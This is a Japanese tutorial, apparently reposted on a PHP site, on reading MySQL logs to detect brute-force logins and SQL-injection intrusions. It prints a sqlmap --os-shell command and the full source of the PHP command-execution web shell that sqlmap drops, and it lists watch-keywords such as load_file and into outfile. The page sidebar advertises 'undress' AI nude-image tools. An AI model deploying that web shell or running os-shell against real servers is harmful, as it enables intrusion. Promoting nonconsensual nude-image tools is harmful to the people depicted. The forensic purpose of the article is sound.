検索
ホームページ運用・保守安全性データベースログを分析する方法

データベースログを分析する方法

Jun 11, 2020 pm 05:20 PM
データベースログ

データベースログを分析する方法

一般的なデータベース攻撃には、脆弱なパスワード、SQL インジェクション、権限の昇格、バックアップの盗難などが含まれます。データベースのログを分析することで、攻撃動作を発見し、攻撃シナリオをさらに復元し、攻撃源を追跡できます。

1. Mysql ログ分析

一般的なクエリ ログには、成功した接続と実行された各クエリが記録されます。セキュリティ導入の一部として使用して、トラブルシューティングを行うことができます。分析やハッキング後の調査の基礎となります。

1. ログ構成情報を表示します

show variables like '%general%';

2. ログを有効にします

SET GLOBAL general_log = 'On';

3. ログ ファイルのパスを指定します

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

たとえば、 /test .php?id=1 にアクセスすると、この時点で次のようなログが得られます:

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit

列ごとに解析してみましょう:

最初の列: Time、時間列、最初のものは日付、最後のものは日付 1 つは時と分ですが、これらが表示されない理由としては、これらの SQL ステートメントがほぼ同時に実行されるため、時間が個別に記録されないことが考えられます。

2 番目の列: Id は、show processlist の最初の列のスレッド ID です。接続が長く、時間のかかる SQL ステートメントの場合、どのスレッドが実行されているかを正確に知ることができます。

3 番目の列: コマンド、操作タイプ。たとえば、Connect はデータベースに接続すること、Query はデータベースにクエリすること (追加、削除、チェック、変更はすべてクエリとして表示されます)、一部の操作は実行できます。特別にフィルタリングされます。

4 番目の列: 引数、詳細情報 (例: Connect root@localhost on はデータベースに接続する手段など)、データベースに接続した後にどのようなクエリ操作が実行されたか。

2. ログインの成功/失敗

簡単なテストをしてみましょう。以前開発した脆弱なパスワード ツールを使用してスキャンします。辞書の設定は比較的小さいです。 2 ユーザー、4 パスワード、合計 8 グループ。

データベースログを分析する方法

MySQL のログ レコードは次のようになります:

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit

このパスワード推測プロセスでどれが成功したかわかりますか?

ブラスト ツールを使用すると、成功したパスワード推測の記録は次のようになります:

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit

ただし、他の方法を使用する場合は、少し異なる可能性があります。

Navicat for MySQL ログイン:

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES

コマンド ライン ログイン:

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit

違いは、データベース接続ツールが異なれば、データベース接続の初期化プロセスに異なるプロセスがあることです。 。この違いにより、ユーザーがデータベースにどのように接続するかを簡単に判断できます。

さらに、ブラスト ツール、Navicat for MySQL、またはコマンド ラインを使用した場合でも、ログインの失敗は同じように記録されます。

ログイン失敗記録:

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

簡単な分析にはシェル コマンドを使用します:

どの IP が爆破されているか?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

爆破ユーザー名の辞書とは何ですか?

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql

ログ分析では、テーブルの削除、データベースの準備、ファイルの読み取りと書き込みなど、一部の機密性の高い操作に特別な注意を払う必要があります。

キーワード: テーブルのドロップ、関数のドロップ、テーブルのロック、テーブルのロック解除、load_file()、outfile へ、dumpfile へ。
機密性の高いデータベース テーブル: SELECT * from mysql.user、SELECT * from mysql.func

3. SQL インジェクション侵入の痕跡

SQL インジェクションの脆弱性の使用この処理では、sqlmap の --os-shell パラメータを使用してシェルを取得しようとしますが、操作に注意しないと、sqlmap で作成された一時テーブルやカスタム関数が残る可能性があります。まず、sqlmap os-shell パラメータの使用法と原則を見てみましょう:

1. SQL インジェクション ポイントを構築し、Burp がポート 8080 をリッスンできるようにします

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP 通信プロセスは次のとおりです。

データベースログを分析する方法

一時ファイル tmpbwyov.php を作成し、このトロイの木馬にアクセスしてシステム コマンドを実行し、ページ表示に戻ります。

tmpbwyov.php:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
";?>`

一時テーブル sqlmapoutput を作成し、ストアド プロシージャを呼び出してシステム コマンドを実行して一時テーブルにデータを書き込み、一時テーブルからデータを取得してフロントエンドに表示します。

Web サイトのディレクトリ内に最近作成された不審なファイルを確認することで、SQL インジェクションの脆弱性攻撃が発生したかどうかを判断できます。

確認方法:

1. Web サイトのディレクトリにトロイの木馬ファイルがあるかどうかを確認します:

データベースログを分析する方法

2. 存在するかどうかを確認します。 UDF ファイル 権限と MOF 権限昇格のトレース

ディレクトリ内に異常なファイルがないか確認

mysqllibpluginc:/windows/system32/wbem/mof/

関数が削除されていないか確認

select * from mysql.func

3.Webログと組み合わせる分析。

推奨チュートリアル: Web サーバーのセキュリティ

以上がデータベースログを分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事は安全脉搏で複製されています。侵害がある場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

MantisBT

MantisBT

Mantis は、製品の欠陥追跡を支援するために設計された、導入が簡単な Web ベースの欠陥追跡ツールです。 PHP、MySQL、Web サーバーが必要です。デモおよびホスティング サービスをチェックしてください。

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター

SublimeText3 英語版

SublimeText3 英語版

推奨: Win バージョン、コードプロンプトをサポート!

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強力な PHP 統合開発環境